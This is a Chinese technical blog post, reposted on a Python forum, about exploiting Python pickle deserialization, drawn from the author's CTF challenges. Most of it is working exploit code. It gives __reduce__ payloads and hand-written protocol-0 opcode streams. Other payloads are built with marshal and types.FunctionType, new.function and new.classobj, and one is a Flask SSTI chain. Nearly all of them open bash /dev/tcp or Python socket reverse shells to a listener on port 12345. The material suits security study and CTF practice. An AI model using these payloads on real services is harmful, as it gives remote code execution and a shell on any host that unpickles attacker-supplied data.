社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

Python反序列化漏洞的花式利用

一个普普通通简简单单平平凡凡的神 • 6 年前 • 279 次点击  

0x00 前记

前些时间看了看python pickle的源码,研究了一下一些利用方式,最近出了两次关于python反序列化的题目,这里总结一下反序列化漏洞的一些利用方式,漏洞原理就不再赘述了,可以看看关于python sec的简单总结这篇文章。

0x01 基础利用

通常我们利用__reduce__函数进行构造,一个样例如下:

#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        return (os.system,('ls',))

a=test()
payload=pickle.dumps(a)
print payload
pickle.loads(payload)

其中pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。 之前把python的标准库都大概过了一遍,把其中绝大多数的可用函数罗列如下:

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

除开我们常见的那些os库、subprocess库、commands库之外还有很多可以执行命令的函数,这里用举两个不常用的:

map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")

0x02 input函数

相信有童鞋已经敏锐的注意到了这个input函数,这个通常很难进入大家的视线。 这个函数也仅在python2中能够利用,在之前的博客python深入学习(三):从py2到py3 中提到过为什么。 这个函数在python2中是能够执行python代码的。但是有一个问题就是这个函数是从标准输入获取字符串,所以怎么利用就是一个问题,不过相信大家看到我 hook pickle的load的方法就知道这里该怎么利用了,我们可以利用StringIO库,然后将标准输入修改为StringIO创建的内存缓冲区即可。 接下来,我们以在hitb 2018中的python revenge为例来说明怎么把这个函数用起来。 首先关于pickle 的数据流协议在python2里面有三种,python3里面有五种,默认的是0,具体可以看看勾陈安全实验室的Python Pickle的任意代码执行漏洞实践和Payload构造,其中对协议进行说明,这里搬运下:

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。

好的我们来构造一下这个input函数

c__builtin__
input
(S'input: '
tR.

然后我们要想办法修改一下标准输入,正常python2里面我们一般这样修改

python_fanxulie1

但是在pickle的0号协议中,我们不能用等于符号,但是我们可以用setattr函数

python_fanxulie2

好的现在万事就绪了,只需要把这一套用上述协议转换一下就行了。

c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tRS'stdin'
cStringIO
StringIO
(S'__import__('os').system(\'curl 127.0.0.1:12345\')'
tRtRc__builtin__
input
(S'input: '
tR.

直接反弹shell就行了

a='''c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')'\ntRtRc__builtin__\ninput\n(S'python> '\ntR.'''

pickle.loads(a)

0x03 任意函数构造

在勾陈安全实验室的文章中,提到了一个types.FunctionType配上marshal.loads的方法,

import base64
import marshal

def foo():
    import os
    os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""ctypes
FunctionType
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)

这里不再赘述,同样的思路我们还有一些别的方法,例如和types.FunctionType几乎一样的函数new.function

import base64
import marshal

def foo():
    import os
    os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""cnew
function
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""cnew
function
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)

0x04 类函数构造

这里主要使用new.classobj函数来构造一个类函数对象然后执行,这样就可以调用原有库的一些函数,也可以自己构造。

payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',):arg, '__module__': 'os'})())

pickle.loads(payload)

lambda语句也可以换成上述提到的new.function或是types.FunctionType的构造。

既然有了这种思路,那么new库里面的提到的很多东西都可以转换思路了。有兴趣可以去研究一下

0x05 构造SSTI

本来这是一个打算用于以后的一个点的,但是这次有人用这种方法做出来了,那我也就分享一下了。说道要找执行代码的函数,不久前的qwb和hitb我都特意采用了Flask框架。而要知道Flask的render_template_string所引发的SSTI漏洞则又是另一个可利用的点了。

payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."

今天看啥 - 高品质阅读平台
本文地址:http://www.jintiankansha.me/t/qJMDmU7lro
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/10689
 
279 次点击